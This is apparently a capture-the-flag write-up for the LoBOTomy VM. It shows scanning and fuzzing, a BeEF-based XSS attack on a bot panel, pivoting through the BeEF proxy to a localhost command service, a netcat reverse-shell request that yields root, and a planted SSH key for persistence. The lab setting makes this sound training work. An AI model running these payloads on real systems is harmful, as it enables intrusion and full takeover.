The goal of the VM is to obtain a root shell.
[email protected]:~# nmap -n -sV -A -p- 192.168.127.128 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.6.1p1 Debian 5 (protocol 2.0) | ssh-hostkey: | 1024 c0:41:42:1f:08:d9:26:6b:0e:32:dd:eb:a6:b8:94:ef (DSA) | 2048 74:4d:1a:68:c8:db:9c:e6:46:d3:13:d8:e0:5e:ca:74 (RSA) |_ 256 9a:1c:a5:6b:a3:48:3c:8e:16:cd:c9:60:68:ef:d5:55 (ECDSA) 80/tcp open http Apache httpd 2.4.9 ((Debian)) |_http-title: Site doesn't have a title (text/html). 111/tcp open rpcbind 2-4 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind |_ 100000 2,3,4 111/udp rpcbind
I punched the IP into a web browser, and was greeted by the following:
The blog post is a pretty good read - it’s Brian’s original write up of the bot this challenge is based on. The text here tells us two things really. The first is that a copy of the bot’s source code is present on this web service somewhere; the second is that there’s a simulated client which regularily access the bot panel.
I next set about the task of finding the bot source code. I suspected that it would be in some compressed format, so I used
WFuzz with the various Kali wordlists and prepended with various extensions (.tar.gz, .tar, .bz2, .zip etc)
[email protected]:/usr/share/wfuzz# wfuzz -c -z file,wordlist/general/common.txt -z file,wordlist/compression_extensions.txt --hc 404 http://192.168.127.128/FUZZ.FUZ2Z
I spent ages on this and still wasn’t finding any files. Eventually, it occured to me that the wordlists were all lowercase but WFuzz doesn’t have any built-in manging rules. I sort of took a punt and converted the first letter of each line of some of the wordlists, then ran them again with my file extensions. I used sed for the conversion.
sed 's/^\(.\)/\U\1/' yourfile > convertedfile
Eventually I got a hit on
Panel.zip. Downloading and extracting the files give you a proper idea of what to find on the web server itself.
[email protected]:~/LoBOTomy/Panel# ls -l total 24 drwxr-xr-x 5 root root 4096 Apr 5 02:02 adm drwxr-xr-x 2 root root 4096 Apr 5 02:03 inc -rw-r--r-- 1 root root 1343 Nov 8 2013 index.php -rw-r--r-- 1 root root 1810 Feb 6 2010 logo.gif drwxr-xr-x 2 root root 4096 Dec 3 2013 pwd drwxr-xr-x 2 root root 4096 Apr 5 02:44 sql (dont upload)
I tried navigating to some of these directories, but kept receiving
404's. A little more fuzzing showed that they simply within another directory,
The main bot page was found at
The default username and password is hardcoded in plaintext within
inc/config.php. I found it using
[email protected]:~/LoBOTomy/Panel# grep -R -i "pass\|password"
You can login and take a look around, though there isn’t much to see.
You could probably discover this yourself by reviewing the source code, but I came across this vulnerability whilst I was reading up on Madness. There is also a SQLi vulnerability, but given the clue regarding an automated client, I stuck with the XSS.
Funnily enough, the two Madness exploits on
exploit-db were written by Brian Wallace xD.
For proper XSS-pwnage, there’s only one way to go: BeEF!
I modified the python exploit to make the XSS point to my beef hook. Launch the exploit, sit back and wait…
I took the
PHPSESSID of the hooked browser and used it to access Madness again. This time you can see the bot loaded into the panel. I tried to make it do ‘stuff’ but without much success.
Eventually I went back to BeEF and carried out a port scan, through the BeEF HTTP proxy against the loopback address of the box.
So we can see ports 22 and 80 (which are kind of expected as they’re usually bound to 0.0.0.0), and 3306 which makes sense to bind locally. However, there is also 8080 which is an alternate to 80 and is unusual to see bound only to the localhost.
Running netstat on my Kali box, shows that the BeEF proxy is bound to port 6789.
[email protected]:~# netstat -antp Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 127.0.0.1:6789 0.0.0.0:* LISTEN 3234/ruby tcp 0 0 0.0.0.0:2000 0.0.0.0:* LISTEN 3234/ruby tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 2566/sshd tcp 0 0 0.0.0.0:3000 0.0.0.0:* LISTEN 3234/ruby
I used an environmental export, to set this as an HTTP proxy and was able to use cURL to communicate directly with the service.
[email protected]:~# export http_proxy='http://127.0.0.1:6789' [email protected]:~# curl -v http://127.0.0.1:8080/ * About to connect() to proxy 127.0.0.1 port 6789 (#0) * Trying 127.0.0.1... * connected * Connected to 127.0.0.1 (127.0.0.1) port 6789 (#0) > GET http://127.0.0.1:8080/ HTTP/1.1 > User-Agent: curl/7.26.0 > Host: 127.0.0.1:8080 > Accept: */* > Proxy-Connection: Keep-Alive > * additional stuff not fine transfer.c:1037: 0 0 [...snip...] * additional stuff not fine transfer.c:1037: 0 0 * HTTP 1.1 or later with persistent connection, pipelining supported < HTTP/1.1 200 < Content-Type: text/html; charset=UTF-8 * no chunk, no close, no size. Assume close to signal end < ERROR: Cross Domain Request. The request was sent however it is impossible to view the response. * nread <= 0, server closed connection, bailing * Closing connection #0
I wanted to fuzz this port but WFuzz didn’t seem to be returning responses properly, so instead I tried
dirb. Dirb simply prints out which requests it receives a response from. The process was terribly slow, as everything was getting routed through the BeEF proxy.
The first hint of a hit was:
+ http://127.0.0.1:8080/arch (CODE:200|SIZE:7)
I went to the BeEF Rider history to look up what the actual response was, which turned out to be ‘i686’. Arch is a shell command which prints the machine architecture, so perhaps this service is just some sort of shell bound to 8080.
I used the Rider to send my own test command:
GET /whoami HTTP/1.1 Host: 127.0.0.1:8080
To which the response was
root. I did a little more poking and determined that
netcat was installed, and was able to leverage that to get a more useful shell.
GET /nc%20192.168.127.127%204444%20-e%20%27%2Fbin%2Fsh%27 HTTP/1.1 Host: 127.0.0.1:8080 [email protected]:~# nc -lnvp 4444 nc: listening on :: 4444 ... nc: listening on 0.0.0.0 4444 ... nc: connect to 192.168.127.127 4444 from 192.168.127.128 54444 id; whoami uid=0(root) gid=0(root) groups=0(root) root
With a root shell, this is pretty much the end of the challenge. The final step I took was to add my public SSH key into root’s
authorized_keys file for easy access.